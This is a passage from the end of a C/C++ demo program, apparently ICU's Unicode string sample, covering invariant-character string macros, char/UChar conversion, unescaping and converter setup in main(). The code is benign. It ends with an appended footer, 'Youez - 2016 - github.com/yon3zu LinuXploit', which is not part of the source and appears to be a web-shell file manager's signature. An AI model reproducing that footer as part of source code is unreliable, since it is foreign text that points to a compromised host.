     * The length of the string literal must be counted for both macros.
     */
    /* declare the invString array for the string */
    U_STRING_DECL(invString, "such characters are safe 123 %-.", 32);
    /* populate it with the characters */
    U_STRING_INIT(invString, "such characters are safe 123 %-.", 32);

    // compare the C and C++ strings
    printf("C and C++ Unicode strings are equal: %d\n", invariantOnly==UnicodeString(TRUE, invString, 32));

    /*
     * convert between char * and UChar * strings that
     * contain only invariant characters
     */
    static const char *cs1="such characters are safe 123 %-.";
    static UChar us1[40];
    static char cs2[40];
    u_charsToUChars(cs1, us1, 33); /* include the terminating NUL */
    u_UCharsToChars(us1, cs2, 33);
    printf("char * -> UChar * -> char * with only "
           "invariant characters: \"%s\"\n",
           cs2);

    // initialize a UnicodeString from a string literal that contains
    // escape sequences written with invariant characters
    // do not forget to duplicate the backslashes for ICU to see them
    // then, count each double backslash only once!
    UnicodeString german=UNICODE_STRING(
        "Sch\\u00f6nes Auto: \\u20ac 11240.\\fPrivates Zeichen: \\U00102345\\n", 64).
        unescape();
    printUnicodeString("german UnicodeString from unescaping:\n    ", german);

    /*
     * C: convert and unescape a char * string with only invariant
     * characters to fill a UChar * string
     */
    UChar buffer[200];
    int32_t length;
    length=u_unescape(
        "Sch\\u00f6nes Auto: \\u20ac 11240.\\fPrivates Zeichen: \\U00102345\\n",
        buffer, UPRV_LENGTHOF(buffer));
    printf("german C Unicode string from char * unescaping: (length %d)\n    ", length);
    printUnicodeString("", UnicodeString(buffer));
}

extern int
main(int argc, const char *argv[]) {
    UErrorCode errorCode=U_ZERO_ERROR;

    // Note: Using a global variable for any object is not exactly thread-safe...

    // You can change this call to e.g. ucnv_open("UTF-8", &errorCode) if you pipe
    // the output to a file and look at it with a Unicode-capable editor.
    // This will currently affect only the printUString() function, see the code above.
    // printUnicodeString() could use this, too, by changing to an extract() overload
    // that takes a UConverter argument.
    cnv=ucnv_open(NULL, &errorCode);
    if(U_FAILURE(errorCode)) {
        fprintf(stderr, "error %s opening the default converter\n", u_errorName(errorCode));
        return errorCode;
    }

    ucnv_setFromUCallBack(cnv, UCNV_FROM_U_CALLBACK_ESCAPE, UCNV_ESCAPE_C, NULL, NULL, &errorCode);
    if(U_FAILURE(errorCode)) {
        fprintf(stderr, "error %s setting the escape callback in the default converter\n", u_errorName(errorCode));
        ucnv_close(cnv);
        return errorCode;
    }

    demo_utf_h_macros();
    demo_C_Unicode_strings();
    demoCaseMapInC();
    demoCaseMapInCPlusPlus();
    demoUnicodeStringStorage();
    demoUnicodeStringInit();

    ucnv_close(cnv);
    return 0;
}

Youez - 2016 - github.com/yon3zu
LinuXploit